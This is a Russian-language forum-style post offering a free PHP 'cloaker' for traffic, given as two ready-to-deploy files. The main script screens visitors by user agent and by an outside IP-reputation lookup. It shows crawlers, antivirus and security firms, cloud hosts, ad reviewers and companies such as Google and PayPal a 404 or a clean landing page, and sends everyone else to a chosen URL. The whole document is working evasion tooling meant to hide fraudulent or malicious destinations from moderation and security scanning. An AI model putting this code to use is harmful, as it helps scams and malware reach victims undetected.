April 5, 2020

Бесплатная клоака для трафика/отстука.

Создать 2 файла:

index.php

<?php

error_reporting(0);

### CONFIG ###
$CHECK_IPS_KEY = "key_free";
$work = 1; # 1 - ON / 0 - OFF, all send bad_reguest
$good_url = "http://www.google.com/"; # URL send OK
##############

###
function good_reguest($good_url){
    header('Location: '.$good_url);
    exit();
}
#
function bad_reguest(){
    include "bad_reguest.php";
    exit();
}
###

###
if($work == 0){
    bad_reguest();
    exit();
}
###

###
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];
$GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']);
#
$CHECK_IPS_KEY = "key_free";
$CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
$CHECK_IPS_API_ISP = "http://checkisp.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
###

if( ### Check USER_AGENT

    strpos($GLOBAL_UA, urlencode('http://')) !== false ||
    strpos($GLOBAL_UA, urlencode('Catchpoint')) !== false ||
    strpos($GLOBAL_UA, urlencode('Python')) !== false ||
    strpos($GLOBAL_UA, urlencode('Crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('Spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('Bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('BOT')) !== false ||
    strpos($GLOBAL_UA, urlencode('bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('ips-agent')) !== false ||
    strpos($GLOBAL_UA, urlencode('zgrab')) !== false ||
    strpos($GLOBAL_UA, urlencode('Netcraft')) !== false ||
    strpos($GLOBAL_UA, urlencode('BingPreview')) !== false ||
    strpos($GLOBAL_UA, urlencode('evc-batch')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wget')) !== false ||
    strpos($GLOBAL_UA, urlencode('CheckHost')) !== false ||
    strpos($GLOBAL_UA, urlencode('HostTracker')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false ||
    strpos($GLOBAL_UA, urlencode('Genieo')) !== false ||
    strpos($GLOBAL_UA, urlencode('Yahoo')) !== false ||
    strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false
    #ADD MORE
 
){
    bad_reguest();
} else {
 
    if ( ### Check CHECK_IPS_API_BOT
    strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false
    ){
        bad_reguest();
    } else {
     
        ### Check CHECK_IPS_API_ISP
        $GET_ISP = file_get_contents($CHECK_IPS_API_ISP);
        if (

        strpos($GET_ISP, 'Hosting') !== false ||
        strpos($GET_ISP, 'hosting') !== false ||
        strpos($GET_ISP, 'HOSTING') !== false ||
        strpos($GET_ISP, 'cloud') !== false ||
        strpos($GET_ISP, 'Cloud') !== false ||
        strpos($GET_ISP, 'CLOUD') !== false ||
        strpos($GET_ISP, 'Vps') !== false ||
        strpos($GET_ISP, 'VPS') !== false ||
        strpos($GET_ISP, 'Dedicated') !== false ||
        strpos($GET_ISP, 'Zscaler') !== false ||
        strpos($GET_ISP, 'ScanSafe') !== false ||
        strpos($GET_ISP, 'Google') !== false ||
        strpos($GET_ISP, 'Amazon') !== false ||
        strpos($GET_ISP, 'Microsoft') !== false ||
        strpos($GET_ISP, 'WANSecurity') !== false ||
        strpos($GET_ISP, 'Yahoo') !== false ||
        strpos($GET_ISP, 'Baidu') !== false ||
        strpos($GET_ISP, 'YANDEX') !== false ||
        strpos($GET_ISP, 'Yandex') !== false ||
        strpos($GET_ISP, 'Mail.RU') !== false ||
        strpos($GET_ISP, 'Mail.Ru') !== false ||
        strpos($GET_ISP, 'Cisco') !== false ||
        strpos($GET_ISP, 'OpenDNS') !== false ||
        strpos($GET_ISP, 'AVIRA') !== false ||
        strpos($GET_ISP, 'Avira') !== false ||
        strpos($GET_ISP, 'ESET') !== false ||
        strpos($GET_ISP, 'Kaspersky') !== false ||
        strpos($GET_ISP, 'Bitdefender') !== false ||
        strpos($GET_ISP, 'Sucuri') !== false ||
        strpos($GET_ISP, 'DRWEB') !== false ||
        strpos($GET_ISP, 'AVAST') !== false ||
        strpos($GET_ISP, 'Bullguard') !== false ||
        strpos($GET_ISP, 'COMODO') !== false ||
        strpos($GET_ISP, 'Comodo') !== false ||
        strpos($GET_ISP, 'F-Secure') !== false ||
        strpos($GET_ISP, 'Fortinet') !== false ||
        strpos($GET_ISP, 'McAfee') !== false ||
        strpos($GET_ISP, 'Norton') !== false ||
        strpos($GET_ISP, 'Panda') !== false ||
        strpos($GET_ISP, 'PayPal') !== false ||
        strpos($GET_ISP, 'Symantec') !== false ||
        strpos($GET_ISP, 'Facebook') !== false ||
        strpos($GET_ISP, 'SurfControl') !== false ||
        strpos($GET_ISP, 'IKARUS') !== false ||
        strpos($GET_ISP, 'Ikarus') !== false ||
        strpos($GET_ISP, 'Security') !== false ||
        strpos($GET_ISP, 'Webroot') !== false ||
        strpos($GET_ISP, 'Trend Micro') !== false ||
        strpos($GET_ISP, 'Sophos') !== false ||
        strpos($GET_ISP, 'Unithost') !== false ||
        strpos($GET_ISP, 'SURFnet') !== false ||
        strpos($GET_ISP, 'DREAMLINE CO.') !== false ||
        strpos($GET_ISP, 'Alibaba') !== false ||
        strpos($GET_ISP, 'Advertising') !== false ||
        strpos($GET_ISP, 'Outbrain') !== false ||
        strpos($GET_ISP, 'Airespring') !== false ||
        strpos($GET_ISP, 'MegaPath') !== false ||
        strpos($GET_ISP, 'Intelligence') !== false ||
        strpos($GET_ISP, 'LG DACOM Corporation') !== false ||
        strpos($GET_ISP, 'Trustwave') !== false ||
        strpos($GET_ISP, 'Palo Alto Networks') !== false ||
        strpos($GET_ISP, 'Palo Alto Unified School District') !== false ||
        strpos($GET_ISP, 'Internet Archive') !== false ||
        strpos($GET_ISP, 'Tierpoint') !== false ||
        strpos($GET_ISP, 'TruVista') !== false
        #ADD MORE
     
        )
        {
            bad_reguest();
        } else {
            good_reguest($good_url);
        }

    }
 
}

exit();

?>

bad_reguest.php (сюда можно положить оригинальный код вашего лендинга для аппрува, дефолт код ниже)

<?php
    header("HTTP/1.0 404 Not Found");
    echo "404 Not Found";
?>